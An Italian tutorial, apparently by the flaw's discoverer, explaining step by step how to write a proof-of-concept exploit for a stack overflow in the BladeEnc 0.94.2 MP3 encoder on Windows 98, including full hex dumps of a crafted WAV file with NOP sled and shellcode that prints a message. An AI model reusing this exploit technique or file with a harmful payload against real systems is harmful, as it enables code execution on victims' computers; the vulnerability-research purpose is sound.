![]() |
||
Con il termine proof-of-concept intendo un exploit, che dimostri che la vulnerabilità esiste davvero e, per fare ciò, di solito si cerca di far eseguire al programma vulnerabile un'altra applicazione o (come uso io) far apparire un messaggio di testo od un MessageBox.
Per maggiore comprensione riporto come esempio il bug di Bladeenc 0.94.2 (un encoder MP3 multipiattaforma) che ho scoperto e reso pubblico a fine Gennaio 2003, riferendomi esattamente alla versione i586 per Windows scaricabile da qui: http://www2.arnes.si/~mmilut/BEnc-0942-Win-i586.zip[1] (l'MD5 di bladeenc.exe è 957900f20fa2addff2c15d7ceb64b4cd)
L'exploit verrà scritto per girare SOLO su Win98! Per gli altri sistemi operativi Microsoft la procedura è la stessa, l'unica differenza riguarda gli indirizzi di memoria.
Questo "tutorial" non è stato scritto per persone che abbiano una
determinata conoscenza su tali nozioni ma vuole essere abbastanza
dettagliato e semplice in modo che chiunque sia minimamente interessato
all'argomento non si perda in esempi troppo complicati o in exploit
complessi che dipendono da vulnerabilità ancor più complesse.
Dopotutto questo genere di exploit di cui parlo è semplicissimo da
realizzare, quindi dopo la prima volta di solito ci vogliono pochi
minuti per scrivere un buon dimostrativo senza perderci troppo la
testa.
Ho preferito essere molto dettagliato con gli esempi e le spiegazioni
quindi il documento è un po' lungo ma penso sia meglio qualche riga in
più invece che tralasciare qualcosa.
I registri dei processori x86 che ci interessano al momento sono 2:
L'EIP ci servirà perché dovremo sovrascriverlo con l'indirizzo della
zona di memoria in cui finirà il nostro codice che vorremo far
eseguire sul computer vittima.
L'ESP è appunto il puntatore a questa zona di codice e tramite esso
sapremo dove è finito il nostro codice.
Per l'esecuzione del codice invece ci appoggeremo alle funzioni usate
dallo stesso programma, quindi anche senza conoscere bene l'Assembly ci
basterà soltanto copiare la parte di codice del programma che ci
interessa (ad esempio quella di visualizzazione di una stringa) e
cambiare gli indirizzi che usa con quelli a nostra disposizione (ad
esempio l'indirizzo in memoria della stringa da visualizzare).
Naturalmente l'ultima cosa sarà terminare il programma, ma tutto ciò
verrà trattato nelle sezioni successive.
Il problema comunque non è tanto in questa "svista" quanto nel non
controllare che qualcosa è andato storto in lettura.
Nel file samplein.c di Bladeenc, alla funzione myFseek() linea 627
troveremo un bel "fread (dummy, offset, 1, fp);" che non viene
controllato.
Difatti la funzione fread() ritorna il numero di bytes che sono stati
letti, e se essi sono 0 o minori dei bytes che si volevano leggere,
vuol dire che la lettura è fallita o che semplicemente il file è
terminato precocemente.
In questo caso è meglio segnalare l'errore all'utente e far terminare
il programma immediatamente.
Invece in tutto il programma non c'è una sola funzione fread() (e non solo essa) che venga controllata, quindi se volete cercare altri bugs che comportino l'esecuzione di codice la cosa potrebbe rivelarsi molto più semplice e veloce di quanto pensiate.
Insomma avremo in mano un programma che continuerà a leggere
imperterrito dati dal file finché uno di questi dati (una DWORD, ossia
32 bits) sovrascriverà l'indirizzo di ritorno della funzione
myFseek().
Quindi l'ultima riga ("return 0; }") invece di ritornare all'istruzione
"fFmtChunkFound = TRUE;" che si trova alla riga 336 del file samplein.c
subito dopo la chiamata a myFseek(), ci porterà dritti dritti verso
l'indirizzo contenuto nella DWORD che è stata letta dal file.
Questo, grosso modo, è ciò che accade per colpa di una lettura di troppo e per risparmiare qualche millisecondo di tempo CPU e qualche riga di codice.
Questo è quello che ho usato io:
0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFFÌ...WAVEfmt 0000010: ffff ffff ÿÿÿÿ
Offset Bytes Funzione 0 4 GroupID: "RIFF" 4 4 Group size: (di solito filesize - 8) 8 4 Riff type: "WAVE" 12 4 ChunkID (il "cattivo" in questo caso e' "fmt ") 16 4 Chunk size: ossia l'"offset" usato in myFseek() ... (il resto non ci interessa)
Ora non ci resta che aggiungere un po' di bytes al nostro file possibilmente usando caratteri differenti che possano facilmente essere individuabili quando dovremo girare nella memoria dello stack:
Ad esempio:
0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFFÌ...WAVEfmt 0000010: ffff ffff 7175 6573 7465 2072 6967 6865 ÿÿÿÿqueste righe 0000020: 2073 6572 7669 7261 6e6e 6f20 6164 2069 serviranno ad i 0000030: 6465 6e74 6966 6963 6172 6520 6920 6279 dentificare i by 0000040: 7465 7320 6368 6520 6669 6e69 7261 6e6e tes che finirann 0000050: 6f20 6e65 6c6c 6f20 7374 6163 6b20 6564 o nello stack ed 0000060: 2069 6e20 7061 7274 6963 6f6c 6172 6520 in particolare 0000070: 6120 6368 6520 706f 7369 7a69 6f6e 6520 a che posizione 0000080: 7369 2074 726f 7661 206c 6120 4457 4f52 si trova la DWOR 0000090: 4420 6368 6520 736f 7672 6173 6372 6976 D che sovrascriv 00000a0: 6572 6127 206c 2745 4950 2c20 7475 7474 era' l'EIP, tutt 00000b0: 6f20 6368 6961 726f 3f90 9090 9090 9090 o chiaro?....... .... (aggiungete almeno 300 bytes, insomma abbondare non fa' mai male in questo caso)
Come è stato detto nel "Primo Passo" nel file wave c'è la DWORD che verrà usata come indirizzo di ritorno dalla funzione myFseek().
Eseguiamo il programma:
bladeenc file.wav
BLADEENC ha provocato un errore di pagina non valida nel modulo <sconosciuto> in 0000:63636363. Registri: EAX=00000000 CS=0167 EIP=63636363 EFLGS=00010202 EBX=61616161 SS=016f ESP=0069e888 EBP=007c0770 ECX=00000057 DS=016f ESI=62626262 FS=120f EDX=000001c1 ES=016f EDI=004268a0 GS=0000 Byte all'indirizzo CS:EIP: Immagine dello stack: 64646464 65656565 66666666 67676767 68686868 69696969 70707070 71717171 72727272 73737373 74747474 75757575 76767676 77777777 78787878 79797979
Quello che ci interessa è:
EIP=63636363 (in quanto io ho usato "cccc") ESP=0069e888 Immagine dello stack: 64646464 65656565 66666666 67676767...
Ricordatevi che i processori x86 sono 32bit little-endian, quindi i caratteri che avete usato nel file, in memoria si trovano capovolti di 4 in 4 (ad esempio: "ciao" diventa "oaic", "1234" diventa "4321", "ciccione" diventa "ccicenoi" e così via).
L'EIP ci fà capire dove si trovano i bytes interessati nel nostro file
wave, ossia all'indirizzo 0x00000130 (in quanto proprio a quella
posizione c'è "cccc").
ESP, da come si può vedere, punta direttamente ai bytes del nostro
file che sono finiti in memoria, nulla di più facile 8-)
Tali bytes iniziano dall'offset 0x00000134 del nostro file wave,
proprio subito dopo l'EIP.
Ricapitolando, ora abbiamo: EIP, ESP e posizione nel file del codice dimostrativo da eseguire.
Usando Wdasm32 non dovremo far nient'altro che lanciare il debug di Bladeenc tramite "Debug->Load Process" inserendo il percorso del nostro file wave.
Continuiamo l'esecuzione del programma tramite Run (F9) finché non ci si para davanti un MessageBox che ci avverte di una "eccezione" e ci mostra l'indirizzo EIP corrente dove si è verificato il problema.
Ora invece di dare il SI od il NO al MessageBox di errore che è comparso dobbiamo prima mettere in pausa l'esecuzione del programma con il tasto Step Over (F8) o Step Into (F7). Dopodiché selezioniamo il NO. (NON usate il bottone Pause!)
Perfetto abbiamo la posizione di EIP nel nostro file wave che è 0x00000130 e possiamo vedere nella finestra di W32Dasm a sinistra che dall'indirizzo ESP (0x0069e888) ci sono tutti i bytes che partono da dopo l'indirizzo EIP nel file (ossia da 0x00000134 in poi).
Se avete il debugger davanti agli occhi e Win98 dovreste ritrovarvi i miei stessi valori.
Se invece dove c'è [ESP+00000000] non c'è nessun byte presente nel nostro file, vuol dire che dobbiamo scorrere in giù con PGDOWN la memoria dello stack (quindi da [ESP+00000004] in poi).
Prima o poi troveremo i nostri bytes ed a quel punto non dovremo far
nient'altro che eseguire una breve somma, ossia [ESP+indirizzo_bytes].
Il risultato di tale addizione dovrà essere considerato come un
"nuovo" indirizzo ESP (per farla breve è l'indirizzo di memoria dove
inizia il nostro codice quanto viene caricato in memoria e che per
comodità preferisco considerarlo come un nuovo indirizzo ESP).
Vi assicuro che è molto più difficile da spiegare che da eseguire.
Il nostro caso vede l'utilizzo di una stringa per console quindi affrettiamoci a trovare una funzione che faccia ciò all'interno del programma.
Ci sono diversi metodi per trovarla:
La funzione da "copiare" che ci servirà per Blade la troviamo
all'indirizzo 0x0040c9e0, dove viene chiamata più volte per poter
visualizzare diverse linee di testo.
Quello che fà è semplicissimo in quanto è un fprintf():
0x0040c9e0 | carica, all'indirizzo puntato da ESP, il puntatore alla stringa che vogliamo visualizzare |
---|---|
0x0040c9e7 | mette su EAX il puntatore che si trova a 0x00461240 (penso che riguardi la specificazione di stdout) |
0x0040c9ec | crea un puntatore ad EAX all'indirizzo ESP+4 |
0x0040c9f0 | finalmente chiama la funzione di visualizzazione |
Per nostra fortuna la semplicità delle operazioni non comporta l'utilizzo di alcun assembler, quindi dobbiamo solo utilizzare una calcolatrice esadecimale (calc di Win ad esempio) per calcolare gli indirizzi delle stringhe o delle funzioni da chiamare.
Per prima cosa però iniziamo col preparare il nostro file wave nel seguente modo:
0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFF....WAVEfmt 0000010: ffff ffff 9090 9090 9090 9090 9090 9090 ................ 0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000100: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000110: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000120: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000130: 88e8 6900 c704 2400 3746 00a1 4012 4600 ..i...$.7F..@.F. 0000140: 8944 2404 e84a 8200 00ff 1524 d041 000a .D$..J.....$.A.. 0000150: 0a43 6961 6f20 6120 7475 7474 6920 736f .Ciao a tutti so 0000160: 6e6f 2063 6f64 6963 6520 6469 6d6f 7374 no codice dimost 0000170: 7261 7469 766f 2038 2d29 0a0a 00 rativo 8-)...
Invece l'indirizzo della funzione di visualizzazione è già noto ed è 0x00414c3f.
Se volessimo disassemblare il codice nel nostro file wave, avremmo:
0x00000134: mov dword ptr [esp], indirizzo_stringa 0x0000013b: mov eax, dowrd ptr [00461240] 0x00000140: mov dword ptr [esp+04], eax 0x00000144: call 00414c3f 0x00000149: call dword ptr [0041d024]
La prima istruzione che prima era: c7042400374600, ora diventerà: c70424a3e86900.
Invece la quarta istruzione richiede un indirizzo relativo, e non assoluto, che si calcola così:
0x0069e888 + 0x00000149 - 0x00000134 = 0x0069e89d (ESP_mem + istr_5 - ESP_file)
Ecco il file wave completo:
0000000: 5249 4646 cc12 0000 5741 5645 666d 7420 RIFF....WAVEfmt 0000010: ffff ffff 9090 9090 9090 9090 9090 9090 ................ 0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000040: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000050: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000060: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000100: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000110: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000120: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000130: 88e8 6900 c704 24a3 e869 00a1 4012 4600 ..i...$..i..@.F. 0000140: 8944 2404 e8a2 63d7 ffff 1524 d041 000a .D$...c....$.A.. 0000150: 0a43 6961 6f20 6120 7475 7474 6920 736f .Ciao a tutti so 0000160: 6e6f 2063 6f64 6963 6520 6469 6d6f 7374 no codice dimost 0000170: 7261 7469 766f 2038 2d29 0a0a 00 rativo 8-)...
C:\install\blade>bladeenc file.wav BladeEnc 0.94.2 (c) Tord Jansson Homepage: http://bladeenc.mp3.no =============================================================================== BladeEnc is free software, distributed under the Lesser General Public License. See the file COPYING, BladeEnc's homepage or www.fsf.org for more details. Ciao a tutti sono codice dimostrativo 8-) C:\install\blade>
L'unica parte un po' più "noiosa" e "complicata" riguarda il calcolo degli indirizzi in memoria e la conversione a volte da assoluti in relativi, ma dopo le prime volte diventerà quasi una cosa "spassosa".
Spero siate arrivate a leggere fino a qui, ma più di tutto spero che queste 600 righe di articolo/tutorial abbiano suscitato interesse in qualcuno.
Ricordatevi comunque che questo genere di vulnerabilità è molto semplice per eseguire codice, e le cose cambiano drasticamente quando si ha a che vedere con vulnerabilità differenti come ad esempio buffer overflow di stringhe char in cui non si possono usare bytes NULL, o peggio quando la porzione di codice che verrà caricata in memoria è troppo piccola ed in molti altri casi in cui o si cerca di prendere la cosa come una "sfida" contro se stessi oppure si preferisce abbandonare la realizzazione del proof-of-concept.
Se avete domande, commenti o correzioni non esitate a scrivermi! (aluigi@pivx.com)